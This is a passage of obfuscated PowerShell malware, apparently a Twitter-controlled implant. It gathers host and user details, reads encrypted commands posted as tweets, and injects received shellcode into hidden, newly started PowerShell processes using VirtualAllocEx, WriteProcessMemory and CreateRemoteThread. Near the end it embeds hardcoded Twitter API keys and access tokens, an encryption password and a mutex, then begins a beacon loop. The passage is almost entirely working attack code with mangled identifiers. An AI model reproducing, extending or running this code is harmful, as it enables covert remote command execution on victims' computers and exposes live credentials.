553 [Parameter(Mandatory=$true)]
554 [ValidateSet('basic','detailed')]
555 [string]${___/\_/\/\_/\/\/\/},
556 [Parameter(Mandatory=$true)]
557 [ref]$Output
558 )
559 Begin {
560 [void][System.Reflection.Assembly]::LoadWithPartialName($('System.Web.Extensions')))
561 }
562 Process {
563 ${_______/\_/\_/=\/} = [environment]::MachineName
564 ${_/\__/====\__/==\} = [environment]::UserDomainName
565 ${______/==\_/\____/} = [environment]::UserName
566 ${__/=\/===\______/} = [environment]::OSVersion.Version.ToString() + " "
567 ${__/=\/===\______/} += [environment]::OSVersion.ServicePack.Replace($('Service')), "S").Replace($('Pack')), "P").Replace(" ", "")
568 ${/=\/\/\/===\__/\/} = If ([Environment]::Is64BitProcess) {"64"} Else {"32"}
569 ${__/\_/\/=\__/===\} = If ([Environment]::Is64BitOperatingSystem) {"64"} Else {"32"}
570 ${__/=\/\/\_/\/=\/\} = $(whoami /groups | Select-String $('BUILTIN\\Administrators')) -Quiet)
571 ${/=\/\_/=====\/=\/} = @{}
572 Switch (${___/\_/\/\_/\/\/\/}) {
573 $('basic')) {
574 ${/=\/\_/=====\/=\/}.Add("H", ${_______/\_/\_/=\/})
575 ${/=\/\_/=====\/=\/}.Add("U", ${______/==\_/\____/})
576 ${/=\/\_/=====\/=\/}.Add("A", ${__/=\/\/\_/\/=\/\})
577 }
578 $('detailed')) {
579 ${/=\/\_/=====\/=\/}.Add("H", ${_______/\_/\_/=\/})
580 ${/=\/\_/=====\/=\/}.Add("D", ${_/\__/====\__/==\})
581 ${/=\/\_/=====\/=\/}.Add("U", ${______/==\_/\____/})
582 ${/=\/\_/=====\/=\/}.Add("O", ${__/=\/===\______/})
583 ${/=\/\_/=====\/=\/}.Add("PB", ${/=\/\/\/===\__/\/})
584 ${/=\/\_/=====\/=\/}.Add("OB", ${__/\_/\/=\__/===\})
585 ${/=\/\_/=====\/=\/}.Add("A", ${__/=\/\/\_/\/=\/\})
586 }
587 }
588 ${/=\/==\___/==\/\/} = New-Object System.Web.Script.Serialization.JavaScriptSerializer
589 $Output.Value = ${/=\/==\___/==\/\/}.Serialize(${/=\/\_/=====\/=\/})
590 Return
591 }
592 }
593 Function _/==\_/\/\/===\/\_ {
594 Param (
595 [Parameter(Mandatory=$true)]
596 [AllowEmptyCollection()]
597 [System.Collections.Queue] ${__/\_/==\__/=\___/},
598 [Parameter(Mandatory=$true)]
599 [AllowEmptyCollection()]
600 [System.Collections.Queue] ${____/\_/==\/==\/\/},
601 [Parameter(Mandatory=$true)]
602 [string] $Password,
603 [Parameter(Mandatory=$true)]
604 [UInt32]${_____/\/\/==\___/\},
605 [Parameter(Mandatory=$true)]
606 [AllowNull()]
607 [Byte[]]${___/\/\__/\_/=\_/\},
608 [Parameter(Mandatory=$true)]
609 [AllowEmptyString()]
610 [String]${_______/\/\_/=====},
611 [Parameter(Mandatory=$true)]
612 [Ref]${__/=======\__/\_/\},
613 [Parameter(Mandatory=$true)]
614 [Ref]${_/=\/\/=\__/\___/=},
615 [Parameter(Mandatory=$true)]
616 [Ref]${_/=\_/\_/\__/\/=\/}
617 )
618 Process {
619 ${__/====\__/=\/===} = $Command.Command.ToUpper().Split(":")
620 Switch -regex (${__/====\__/=\/===}[0]) {
621 $('SYN')) {
622 ${/===\__/\/====\/=} = $('ACK'))
623 ${/=\__/\_____/\_/\} = New-Object System.Collections.ArrayList
624 $null = _/==\__/=\_/\/\/\_ -_/==\/==\___/\/\_/ ${/===\__/\/====\/=} -____/==\___/\__/=\ ${/=\/=\/\/===\/\_/}.RequestID -Password $Password -MaxLength 140 -__/=\/=\_/\__/==\/ $true -Output ${/=\__/\_____/\_/\}
625 Foreach (${_/=\___/=\/==\/==} in ${/=\__/\_____/\_/\}) {
626 ${____/\_/==\/==\/\/}.Enqueue(${_/=\___/=\/==\/==})
627 }
628 }
629 $('SYSINFO')) {
630 ${/===\__/\/====\/=} = $null
631 $null = ____/==\_/==\____/ -___/\_/\/\_/\/\/\/ detailed -Output ([ref]${/===\__/\/====\/=})
632 ${/=\__/\_____/\_/\} = New-Object System.Collections.ArrayList
633 $null = _/==\__/=\_/\/\/\_ -_/==\/==\___/\/\_/ ${/===\__/\/====\/=} -____/==\___/\__/=\ ${/=\/=\/\/===\/\_/}.RequestID -Password $Password -MaxLength 140 -__/=\/=\_/\__/==\/ $true -Output ${/=\__/\_____/\_/\}
634 Foreach (${_/=\___/=\/==\/==} in ${/=\__/\_____/\_/\}) {
635 ${____/\_/==\/==\/\/}.Enqueue(${_/=\___/=\/==\/==})
636 }
637 }
638 $('^NEWSHELLCODE(32|64)$')) {
639 ${__/==\/==\__/===\} = ${__/====\__/=\/===}[1]
640 ${_/\/===\_/==\___/} = $null
641 $null = ____/\__/========\ -_/==\/\_____/=\/\/ ${__/==\/==\__/===\} -Output ([ref]${_/\/===\_/==\___/})
642 ${_/\_____/=\_/\_/\/} = If (${__/====\__/=\/===}[0] -eq $('NEWSHELLCODE32'))) {$('x86'))} Else {$('x64'))}
643 If (${_/\/===\_/==\___/}.Length -gt 0) {
644 ${____/===\/===\_/=\} = $null
645 _/==\/=\/===\_/==\ -___/=\_/\/=\/\/\/\ ${_/\/===\_/==\___/} -_/\_____/=\_/\_/\/ ${_/\_____/=\_/\_/\/} -Output ([ref]${____/===\/===\_/=\})
646 If (${__/=======\__/\_/\} -ne 0 -and ${_____/\/\/==\___/\} -ne 0) {
647 $null = __/\/\/\_/\_/\__/= -____/===\/===\_/=\ ${_____/\/\/==\___/\}
648 }
649 ${__/=======\__/\_/\}.Value = ${____/===\/===\_/=\}
650 ${_/=\/\/=\__/\___/=}.Value = ${_/\/===\_/==\___/}
651 ${_/=\_/\_/\__/\/=\/}.Value = ${_/\_____/=\_/\_/\/}
652 }
653 }
654 $('RESTARTSHELLCODE')) {
655 If (${_____/\/\/==\___/\} -ne 0) {
656 $null = __/\/\/\_/\_/\__/= -____/===\/===\_/=\ ${_____/\/\/==\___/\}
657 }
658 If (${___/\/\__/\_/=\_/\} -ne "" -and ${_______/\/\_/=====} -ne "") {
659 ${____/===\/===\_/=\} = $null
660 _/==\/=\/===\_/==\ -___/=\_/\/=\/\/\/\ ${___/\/\__/\_/=\_/\} -_/\_____/=\_/\_/\/ ${_______/\/\_/=====} -Output ([ref]${____/===\/===\_/=\})
661 ${__/=======\__/\_/\}.Value = ${____/===\/===\_/=\}
662 ${_/=\/\/=\__/\___/=}.Value = ${___/\/\__/\_/=\_/\}
663 ${_/=\_/\_/\__/\/=\/}.Value = ${_______/\/\_/=====}
664 }
665 }
666 }
667 }
668 }
669 Function __/\_/\/=\/=\_/=\_ {
670 Param (
671 [Parameter(Mandatory=$true)]
672 [System.Collections.ArrayList]${__/=\/\__/====\/=\},
673 [Parameter(Mandatory=$true)]
674 [string]$TargetID,
675 [Parameter(Mandatory=$true)]
676 [string]$Password,
677 [Parameter(Mandatory=$true)]
678 [AllowEmptyCollection()]
679 [System.Collections.ArrayList]$Output
680 )
681 Process {
682 ${__/\_/==\__/=\___/} = @{}
683 foreach (${/==\__/==\______/} in ${__/=\/\__/====\/=\}) {
684 ${__/==\/====\_/\/=\} = ${/==\__/==\______/}.text
685 ${___/\___/=\___/=\} = ${/==\__/==\______/}.id
686 Try {
687 If (${__/==\/====\_/\/=\}[0] -eq "0") {
688 ${__/=\/=\__/\_/\__} = ${__/==\/====\_/\/=\}.split(":")
689 If (${__/=\/=\__/\_/\__}.Length -eq 8 -or ${__/=\/=\__/\_/\__}.Length -eq 6) {
690 If (${__/=\/=\__/\_/\__}[1] -eq $TargetID -or ${__/=\/=\__/\_/\__}[1] -eq $('0000000000'))) {
691 ${/=\_/===\/=\_/\/\} = ${__/=\/=\__/\_/\__}[1] + ${__/=\/=\__/\_/\__}[2]
692 ${/===\/\__/\/=\/\/} = [INT]${__/=\/=\__/\_/\__}[3]
693 If (${__/\_/==\__/=\___/}.ContainsKey(${/=\_/===\/=\_/\/\})) {
694 ${/=\/=\/\/===\/\_/} = ${__/\_/==\__/=\___/}[${/=\_/===\/=\_/\/\}]
695 If (${/===\/\__/\/=\/\/} -eq 1) {
696 ${/=\/=\/\/===\/\_/}.Add(${/===\/\__/\/=\/\/}, ${__/=\/=\__/\_/\__}[7])
697 ${/=\/=\/\/===\/\_/}.Add($('Salt')), ${__/=\/=\__/\_/\__}[5])
698 ${/=\/=\/\/===\/\_/}.Add("IV", ${__/=\/=\__/\_/\__}[6])
699 } else {
700 ${/=\/=\/\/===\/\_/}.Add(${/===\/\__/\/=\/\/}, ${__/=\/=\__/\_/\__}[5])
701 }
702 ${/=\/=\/\/===\/\_/}[$('TweetList'))].Add(${/==\__/==\______/})
703 } else {
704 ${/=\/=\/\/===\/\_/} = @{}
705 ${/=\/=\/\/===\/\_/}.Add($('TargetID')), ${__/=\/=\__/\_/\__}[1])
706 ${/=\/=\/\/===\/\_/}.Add($('RequestID')), ${__/=\/=\__/\_/\__}[2])
707 ${/=\/=\/\/===\/\_/}.Add($('Max')), [INT]${__/=\/=\__/\_/\__}[4])
708 If (${/===\/\__/\/=\/\/} -eq 1) {
709 ${/=\/=\/\/===\/\_/}.Add(${/===\/\__/\/=\/\/}, ${__/=\/=\__/\_/\__}[7])
710 ${/=\/=\/\/===\/\_/}.Add($('Salt')), ${__/=\/=\__/\_/\__}[5])
711 ${/=\/=\/\/===\/\_/}.Add("IV", ${__/=\/=\__/\_/\__}[6])
712 } else {
713 ${/=\/=\/\/===\/\_/}.Add(${/===\/\__/\/=\/\/}, ${__/=\/=\__/\_/\__}[5])
714 }
715 ${/=\/\/=\/=\/\__/=} = New-Object System.Collections.ArrayList
716 ${/=\/\/=\/=\/\__/=}.Add(${/==\__/==\______/})
717 ${/=\/=\/\/===\/\_/}.Add($('TweetList')), ${/=\/\/=\/=\/\__/=})
718 ${__/\_/==\__/=\___/}.Add(${/=\_/===\/=\_/\/\}, ${/=\/=\/\/===\/\_/})
719 }
720 }
721 }
722 }
723 } Catch {
724 Continue
725 }
726 }
727 ${___/\___/=\_/\/==} = New-Object System.Collections.ArrayList
728 ${_/=\/=\_/=\/=\___} = New-Object System.Collections.ArrayList
729 Foreach (${/=\/=\/\/===\/\_/} in ${__/\_/==\__/=\___/}.Values) {
730 ${/=\/\__/\/=\_/===} = ${/=\/=\/\/===\/\_/}[$('Max'))]
731 ${_/==\/=\__/\/\__/} = ""
732 ${_/\/=\/==\____/\/} = 1
733 ${__/===\/==\/=====} = $True
734 While (${_/\/=\/==\____/\/} -le ${/=\/\__/\/=\_/===}) {
735 If (!${/=\/=\/\/===\/\_/}[${_/\/=\/==\____/\/}]) {
736 ${__/===\/==\/=====} = $false
737 break
738 }
739 ${_/==\/=\__/\/\__/} += ${/=\/=\/\/===\/\_/}[${_/\/=\/==\____/\/}]
740 ${_/\/=\/==\____/\/} += 1
741 }
742 If (!${__/===\/==\/=====}) {
743 ${___/\___/=\_/\/==}.AddRange(${/=\/=\/\/===\/\_/}[$('TweetList'))])
744 Continue
745 }
746 Try {
747 ${_/==\_/\/=\_/=\/\/} = ${/=\/=\/\/===\/\_/}[$('Salt'))]
748 ${_/\/====\/\/=====} = ${/=\/=\/\/===\/\_/}["IV"]
749 ${________/==\_/\/==} = $null
750 $null = __/===\/========== -___/=\/=\/\__/===\ ${_/==\/=\__/\/\__/} -__/\_/=\/=\/=\__/\ $Password -_/==\_/\/=\_/=\/\/ ${_/==\_/\/=\_/=\/\/} -__/\__/==\/=\/==\_ ${_/\/====\/\/=====} -Output ([ref]${________/==\_/\/==})
751 } Catch {
752 ${________/==\_/\/==} = $('UNREADABLE'))
753 }
754 ${_/\/=\___/=\_/\/=} = @{}
755 ${_/\/=\___/=\_/\/=}.Add($('TargetID')), ${/=\/=\/\/===\/\_/}[$('TargetID'))])
756 ${_/\/=\___/=\_/\/=}.Add($('RequestID')), ${/=\/=\/\/===\/\_/}[$('RequestID'))])
757 ${_/\/=\___/=\_/\/=}.Add($('Command')), ${________/==\_/\/==})
758 ${_/=\/=\_/=\/=\___}.Add(${_/\/=\___/=\_/\/=})
759 }
760 ${__/=\/\__/====\/=\}.Clear()
761 ${__/=\/\__/====\/=\}.AddRange(${___/\___/=\_/\/==})
762 $Output.Clear()
763 $Output.AddRange(${_/=\/=\_/=\/=\___})
764 Return
765 }
766 }
767 Function _/=\__/==\/==\__/= {
768 Param (
769 [Parameter(Mandatory=$true)]
770 [AllowEmptyCollection()]
771 [System.Collections.ArrayList]${__/=\/\__/====\/=\},
772 [Parameter(Mandatory=$true)]
773 [ref]$Output
774 )
775 Process {
776 ${_/\/=\/=\___/\/==} = 0
777 Foreach (${/==\__/==\______/} in ${__/=\/\__/====\/=\}) {
778 If (${/==\__/==\______/}.id -gt ${_/\/=\/=\___/\/==}) {
779 ${_/\/=\/=\___/\/==} = ${/==\__/==\______/}.id
780 }
781 }
782 If (${_/\/=\/=\___/\/==} -gt 0) {
783 $Output.Value = ${_/\/=\/=\___/\/==}
784 }
785 Return
786 }
787 }
788 Function _/=\__/==\/==\/=\/ {
789 Param (
790 [Parameter(Mandatory=$true)]
791 [ValidateNotNullOrEmpty()]
792 [UInt32] ${____/===\/===\_/=\},
793 [Parameter(Mandatory=$true)]
794 [ValidateNotNullOrEmpty()]
795 [Byte[]] ${___/=\_/\/=\/\/\/\},
796 [Parameter(Mandatory=$true)]
797 [ValidateSet('x86','x64')]
798 [String] ${_/\_____/=\_/\_/\/}
799 )
800 Try {
801 Get-Process -Id ${____/===\/===\_/=\} -ErrorAction Stop
802 } Catch {
803 Throw
804 }
805 Function Local:_/=\_/====\/\_/=\/
806 {
807 Param
808 (
809 [OutputType([Type])]
810 [Parameter( Position = 0)]
811 [Type[]]
812 ${_/=\/==\/=\__/\_/\} = (New-Object Type[](0)),
813 [Parameter( Position = 1 )]
814 [Type]
815 ${____/\_/\/\/==\/=\} = [Void]
816 )
817 ${_/\__/====\__/==\} = [AppDomain]::CurrentDomain
818 ${___/===\/\_/=====} = New-Object System.Reflection.AssemblyName($('ReflectedDelegate')))
819 ${_/\__/\__/=\___/\} = ${_/\__/====\__/==\}.DefineDynamicAssembly(${___/===\/\_/=====}, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
820 ${/=\/==\/\/\_/\_/\} = ${_/\__/\__/=\___/\}.DefineDynamicModule($('InMemoryModule')), $false)
821 ${_/=\_/\_/\/===\/=} = ${/=\/==\/\/\_/\_/\}.DefineType($('MyDelegateType')), $('Class, Public, Sealed, AnsiClass, AutoClass')), [System.MulticastDelegate])
822 ${____/\/=\___/=\/=} = ${_/=\_/\_/\/===\/=}.DefineConstructor($('RTSpecialName, HideBySig, Public')), [System.Reflection.CallingConventions]::Standard, ${_/=\/==\/=\__/\_/\})
823 ${____/\/=\___/=\/=}.SetImplementationFlags($('Runtime, Managed')))
824 ${__/\/\_______/=\/} = ${_/=\_/\_/\/===\/=}.DefineMethod($('Invoke')), $('Public, HideBySig, NewSlot, Virtual')), ${____/\_/\/\/==\/=\}, ${_/=\/==\/=\__/\_/\})
825 ${__/\/\_______/=\/}.SetImplementationFlags($('Runtime, Managed')))
826 Write-Output ${_/=\_/\_/\/===\/=}.CreateType()
827 }
828 Function Local:__/\__/\_/=\/=\/==
829 {
830 Param (
831 [OutputType([IntPtr])]
832 [Parameter( Position = 0, Mandatory = $True )]
833 [String]
834 ${__/\/=======\_/\_/},
835 [Parameter( Position = 1, Mandatory = $True )]
836 [String]
837 ${___/=\/==\__/=\/\_}
838 )
839 ${_/==\/\_/\___/\/=} = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals($('System.dll'))) }
840 ${__/\/\__/=\_/\/==} = ${_/==\/\_/\___/\/=}.GetType($('Microsoft.Win32.UnsafeNativeMethods')))
841 ${_/\__/\___/\/=\/\} = ${__/\/\__/=\_/\/==}.GetMethod($('GetModuleHandle')))
842 ${_/=\___/\___/\_/\} = ${__/\/\__/=\_/\/==}.GetMethod($('GetProcAddress')))
843 ${_______/\/===\/==} = ${_/\__/\___/\/=\/\}.Invoke($null, @(${__/\/=======\_/\_/}))
844 ${___/\/=\_/==\/==\} = New-Object IntPtr
845 ${_/=\_/=\/\_/\/\_/} = New-Object System.Runtime.InteropServices.HandleRef(${___/\/=\_/==\/==\}, ${_______/\/===\/==})
846 Write-Output ${_/=\___/\___/\_/\}.Invoke($null, @([System.Runtime.InteropServices.HandleRef]${_/=\_/=\/\_/\/\_/}, ${___/=\/==\__/=\/\_}))
847 }
848 Function Local:____/=\/\/\/=====\ ([IntPtr] ${____/=\/===\/=\/==}, [IntPtr] ${___/======\____/\_}, [Int] ${__/\_/===\___/\__/})
849 {
850 ${_/\__/=\/==\__/\/} = ${__/\_/===\___/\__/} / 8
851 Function Local:_/\____/=\___/=\/= ([IntPtr] ${_/==\/=\_/=\/\/=\_})
852 {
853 ${/=\_/\/=====\/\_/} = New-Object Byte[](0)
854 ${_/==\/=\_/=\/\/=\_}.ToString("X$(${_/\__/=\/==\__/\/}*2)") -split $('([A-F0-9]{2})')) | ForEach-Object { if ($_) { ${/=\_/\/=====\/\_/} += [Byte] ($('0x{0}')) -f $_) } }
855 [System.Array]::Reverse(${/=\_/\/=====\/\_/})
856 Write-Output ${/=\_/\/=====\/\_/}
857 }
858 ${/\______/=====\__} = New-Object Byte[](0)
859 If (${_/\__/=\/==\__/\/} -eq 8)
860 {
861 [Byte[]] ${/\______/=====\__} = 0x48,0xB8
862 ${/\______/=====\__} += _/\____/=\___/=\/= ${____/=\/===\/=\/==}
863 ${/\______/=====\__} += 0xFF,0xD0
864 ${/\______/=====\__} += 0x6A,0x00
865 ${/\______/=====\__} += 0x48,0xB8
866 ${/\______/=====\__} += _/\____/=\___/=\/= ${___/======\____/\_}
867 ${/\______/=====\__} += 0xFF,0xD0
868 } Else {
869 [Byte[]] ${/\______/=====\__} = 0xB8
870 ${/\______/=====\__} += _/\____/=\___/=\/= ${____/=\/===\/=\/==}
871 ${/\______/=====\__} += 0xFF,0xD0
872 ${/\______/=====\__} += 0x6A,0x00
873 ${/\______/=====\__} += 0xB8
874 ${/\______/=====\__} += _/\____/=\___/=\/= ${___/======\____/\_}
875 ${/\______/=====\__} += 0xFF,0xD0
876 }
877 Write-Output ${/\______/=====\__}
878 }
879 Function Local:____/==\/\/\_/=\__ ([Int] ${____/===\/===\_/=\}) {
880 ${_/\/===\____/=\_/} = ${/==\/\_/\____/\_/}.Invoke(0x001F0FFF, $false, ${____/===\/===\_/=\})
881 If (!${_/\/===\____/=\_/}) {
882 Throw
883 }
884 If (${_/\___/=\_/\_/\/\}) {
885 ${/==\__/==\_/==\_/} = $false
886 ${/====\/\__/=\_/\_}.Invoke(${_/\/===\____/=\_/}, [Ref] ${/==\__/==\_/==\_/}) | Out-Null
887 If (!${/==\__/==\_/==\_/}) {
888 If (${___/\_/===\__/\_/}) {
889 Throw
890 } Else {
891 If (${_/\_____/=\_/\_/\/} -eq $('x86'))) {
892 Throw
893 }
894 }
895 } Else {
896 If (${_/\_____/=\_/\_/\/} -eq $('x64'))) {
897 Throw
898 }
899 }
900 } Else {
901 If (${_/\_____/=\_/\_/\/} -ne $('x86'))) {
902 Throw
903 }
904 }
905 ${_/\/\__/\_/\_/\/\} = ${_/\___/=\/\/=====}.Invoke(${_/\/===\____/=\_/}, [IntPtr]::Zero, ${___/=\_/\/=\/\/\/\}.Length + 1, 0x3000, 0x40)
906 If (!${_/\/\__/\_/\_/\/\}) {
907 Throw
908 }
909 ${_/=\/\_____/====\}.Invoke(${_/\/===\____/=\_/}, ${_/\/\__/\_/\_/\/\}, ${___/=\_/\/=\/\/\/\}, ${___/=\_/\/=\/\/\/\}.Length, [Ref] 0) | Out-Null
910 ${___/======\____/\_} = __/\__/\_/=\/=\/== kernel32.dll ExitThread
911 If (${_/\___/=\_/\_/\/\} -and !${/==\__/==\_/==\_/}) {
912 ${/\______/=====\__} = ____/=\/\/\/=====\ ${_/\/\__/\_/\_/\/\} ${___/======\____/\_} 64
913 } Else {
914 ${/\______/=====\__} = ____/=\/\/\/=====\ ${_/\/\__/\_/\_/\/\} ${___/======\____/\_} 32
915 }
916 ${___/==\_/==\/==\_} = ${_/\___/=\/\/=====}.Invoke(${_/\/===\____/=\_/}, [IntPtr]::Zero, ${/\______/=====\__}.Length, 0x3000, 0x40)
917 If (!${___/==\_/==\/==\_}) {
918 Throw
919 }
920 ${_/=\/\_____/====\}.Invoke(${_/\/===\____/=\_/}, ${___/==\_/==\/==\_}, ${/\______/=====\__}, ${/\______/=====\__}.Length, [Ref] 0) | Out-Null
921 ${___/\/\_/=\/=\/\_} = ${_/\_/\_/=\__/\___}.Invoke(${_/\/===\____/=\_/}, [IntPtr]::Zero, 0, ${___/==\_/==\/==\_}, ${_/\/\__/\_/\_/\/\}, 0, [IntPtr]::Zero)
922 if (!${___/\/\_/=\/=\/\_}) {
923 }
924 ${_/\/\_/=\_/=\/=\/}.Invoke(${_/\/===\____/=\_/}) | Out-Null
925 }
926 ${___/\/=\/\/\/\/=\} = __/\__/\_/=\/=\/== kernel32.dll IsWow64Process
927 ${/==\/\/\/\/\_/=\_} = $null
928 try {
929 ${/==\/\/\/\/\_/=\_} = @(Get-WmiObject -Query $('SELECT AddressWidth FROM Win32_Processor')))[0] | Select-Object -ExpandProperty AddressWidth
930 } catch {
931 Throw
932 }
933 switch (${/==\/\/\/\/\_/=\_}) {
934 '32' {
935 ${_/\___/=\_/\_/\/\} = $False
936 }
937 '64' {
938 ${_/\___/=\_/\_/\/\} = $True
939 ${_/=\/\_/=\_/\/\/=} = _/=\_/====\/\_/=\/ @([IntPtr], [Bool].MakeByRefType()) ([Bool])
940 ${/====\/\__/=\_/\_} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${___/\/=\/\/\/\/=\}, ${_/=\/\_/=\_/\/\/=})
941 }
942 default {
943 Throw
944 }
945 }
946 If ([IntPtr]::Size -eq 4) {
947 ${___/\_/===\__/\_/} = $true
948 } Else {
949 ${___/\_/===\__/\_/} = $false
950 }
951 ${__/=====\/\/\___/} = __/\__/\_/=\/=\/== kernel32.dll OpenProcess
952 ${_/=\/==\/==\___/\} = _/=\_/====\/\_/=\/ @([UInt32], [Bool], [UInt32]) ([IntPtr])
953 ${/==\/\_/\____/\_/} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${__/=====\/\/\___/}, ${_/=\/==\/==\___/\})
954 ${/=========\/\/\__} = __/\__/\_/=\/=\/== kernel32.dll VirtualAllocEx
955 ${_/=\__/\/\_/\__/=} = _/=\_/====\/\_/=\/ @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
956 ${_/\___/=\/\/=====} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${/=========\/\/\__}, ${_/=\__/\/\_/\__/=})
957 ${/===\/===\__/=\_/} = __/\__/\_/=\/=\/== kernel32.dll WriteProcessMemory
958 ${/=\/=\_/=\__/\/=\} = _/=\_/====\/\_/=\/ @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
959 ${_/=\/\_____/====\} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${/===\/===\__/=\_/}, ${/=\/=\_/=\__/\/=\})
960 ${/==\_/==\_____/\_} = __/\__/\_/=\/=\/== kernel32.dll CreateRemoteThread
961 ${/=====\/=\_/\_/=\} = _/=\_/====\/\_/=\/ @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
962 ${_/\_/\_/=\__/\___} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${/==\_/==\_____/\_}, ${/=====\/=\_/\_/=\})
963 ${/==\__/=\/\___/==} = __/\__/\_/=\/=\/== kernel32.dll CloseHandle
964 ${/===\__/\____/===} = _/=\_/====\/\_/=\/ @([IntPtr]) ([Bool])
965 ${_/\/\_/=\_/=\/=\/} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(${/==\__/=\/\___/==}, ${/===\__/\____/===})
966 ____/==\/\/\_/=\__ ${____/===\/===\_/=\}
967 }
968 Function _/==\/=\/===\_/==\ {
969 Param (
970 [Parameter(Mandatory=$true)]
971 [Byte[]] ${___/=\_/\/=\/\/\/\},
972 [ValidateSet('x86','x64')]
973 [string] ${_/\_____/=\_/\_/\/},
974 [Parameter(Mandatory=$true)]
975 [ref] $Output
976 )
977 Process {
978 $Output.Value = 0
979 ${__/\_/\/=\__/===\} = If ([Environment]::Is64BitOperatingSystem) {$('x64'))} Else {$('x32'))}
980 ${/=\/\/\/===\__/\/} = If ([Environment]::Is64BitProcess) {$('x64'))} Else {$('x32'))}
981 ${_/=======\/\/==\_} = $null
982 ${/==\_/===\/===\/=} = $ENV:SystemRoot + $('\System32\WindowsPowerShell\v1.0\powershell.exe'))
983 ${_/=\_/\____/===\_} = $ENV:SystemRoot + $('\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'))
984 If (${__/\_/\/=\__/===\} -eq $('x64'))) {
985 If (${/=\/\/\/===\__/\/} -eq $('x64'))) {
986 If (${_/\_____/=\_/\_/\/} -eq $('x64'))) {
987 ${_/=======\/\/==\_} = Start-Process -FilePath ${/==\_/===\/===\/=} -Passthru -WindowStyle Hidden
988 } Else {
989 ${_/=======\/\/==\_} = Start-Process -FilePath ${_/=\_/\____/===\_} -Passthru -WindowStyle Hidden
990 }
991 } Else {
992 If (${_/\_____/=\_/\_/\/} -eq $('x86'))) {
993 ${_/=======\/\/==\_} = Start-Process -FilePath ${_/=\_/\____/===\_} -Passthru -WindowStyle Hidden
994 }
995 }
996 } Else {
997 If (${_/\_____/=\_/\_/\/} -eq $('x86'))) {
998 ${_/=======\/\/==\_} = Start-Process -FilePath ${/==\_/===\/===\/=} -Passthru -WindowStyle Hidden
999 }
1000 }
1001 If (${_/=======\/\/==\_}) {
1002 Try {
1003 _/=\__/==\/==\/=\/ -____/===\/===\_/=\ ${_/=======\/\/==\_}.Id -_/\_____/=\_/\_/\/ ${_/\_____/=\_/\_/\/} -___/=\_/\/=\/\/\/\ ${___/=\_/\/=\/\/\/\}
1004 $Output.Value = ${_/=======\/\/==\_}.Id
1005 } Catch {
1006 }
1007 } Else {
1008 }
1009 Return
1010 }
1011 }
1012 Function __/\/\/\_/\_/\__/= {
1013 Param (
1014 [Parameter(Mandatory=$true)]
1015 [ValidateNotNullOrEmpty()]
1016 [UInt32] ${____/===\/===\_/=\}
1017 )
1018 Process {
1019 Try {
1020 Stop-Process -Id ${____/===\/===\_/=\}
1021 } Catch {
1022 }
1023 Return
1024 }
1025 }
1026 ${_/\__/\/\/\_/=\__} = $('ml_ph_sim_20162'))
1027 ${_/\/\/\_/=\__/\/=} = $('RT0oEp3EBmbCrjyFW3xFVsAVB'))
1028 ${_/\/======\/=\_/\} = $('QocDzNnrSVrLtJu8b8mx08VjtQEpLhryYGceWrw65D57Zh2UDJ'))
1029 ${/===\/\/\_/\_/===} = $('806138775390797824-mYXBShBReomrQOeBJonLSxcoEj3iuGp'))
1030 ${/=\/==\_/\__/\_/\} = $('VKetud5n2VH0p9o0gmE1nwwLmH5njqVLSyYA97yXOLI4X'))
1031 ${/=\/\/\_/=====\__} = $('_ML_CH_PASS_FOR_ENCRYPTION_'))
1032 ${/=\_/\/==\__/==\/} = $null
1033 $null = _/======\/\_/=\_/\ -Output ([ref]${/=\_/\/==\__/==\/})
1034 ${__/====\____/\__/} = $true
1035 $null = __/===\__/=\_/=\/= -______/==\_/\____/ ${_/\__/\/\/\_/=\__} -_____/====\____/\/ ${_/\/\/\_/=\__/\/=} -____/\______/\___/ ${_/\/======\/=\_/\} -_/==\/===\___/==\/ ${/===\/\/\_/\_/===} -__/\_/\/=\/\/\/==\ ${/=\/==\_/\__/\_/\}
1036 ${__/\__/=\___/=\/=\} = 749835523401932800
1037 ${___/=\/\/=\_/\_/\} = 900
1038 ${__/=\/\_/==\/====} = 45
1039 ${____/\/\_/\_/\_/=} = Get-Date
1040 ${___/\_/\/\/\/\/\/} = ${___/=\/\/=\_/\_/\} / ${__/=\/\_/==\/====}
1041 ${__/\/=\__/\/\/===} = New-Object System.Collections.Queue
1042 ${/==\_/\__/==\/=\_} = New-Object System.Collections.Queue
1043 ${__/==\/=\___/\/==} = New-Object System.Collections.ArrayList
1044 ${__/=\/=\_/\/==\__} = 2
1045 ${_/=====\/\__/=\/=} = 0
1046 ${/==\_/\/==\/\__/=} = 1
1047 ${___/\/\__/\_/=\_/\} = $null
1048 ${_______/\/\_/=====} = ""
1049 ${_____/\/\/==\___/\} = 0
1050 ${__/\___/\_/===\/\} = $null
1051 ${/=\______/\/\/=\/} = $false
1052 ${___/======\__/=\/} = $Null
1053 ${_/=====\__/\/=\/=} = $('Global\f55a5ff8837a9bf153bad7925d749f64'))
1054 Try {
1055 ${___/======\__/=\/} = [System.Threading.Mutex]::OpenExisting(${_/=====\__/\/=\/=})
1056 } Catch {
1057 ${___/======\__/=\/} = New-Object System.Threading.Mutex($true, ${_/=====\__/\/=\/=}, [ref]${/=\______/\/\/=\/})
1058 }
1059 If (!${/=\______/\/\/=\/}) {
1060 Exit
1061 }
1062 While ($true) {
1063 Try {
1064 ${_/\/\/===\___/\__} = $null
1065 $null = __/=\_/====\______ -Output ([ref]${_/\/\/===\___/\__})
1066 If (${_/\/\/===\___/\__}) {
1067 If (${__/====\____/\__/}) {
1068 ${_/\___/\/==\___/\} = $null
1069 $null = ___/=\_/====\/\___ -Password ${/=\/\/\_/=====\__} -Output ([ref]${_/\___/\/==\___/\})
1070 Try {
1071 $output = $null
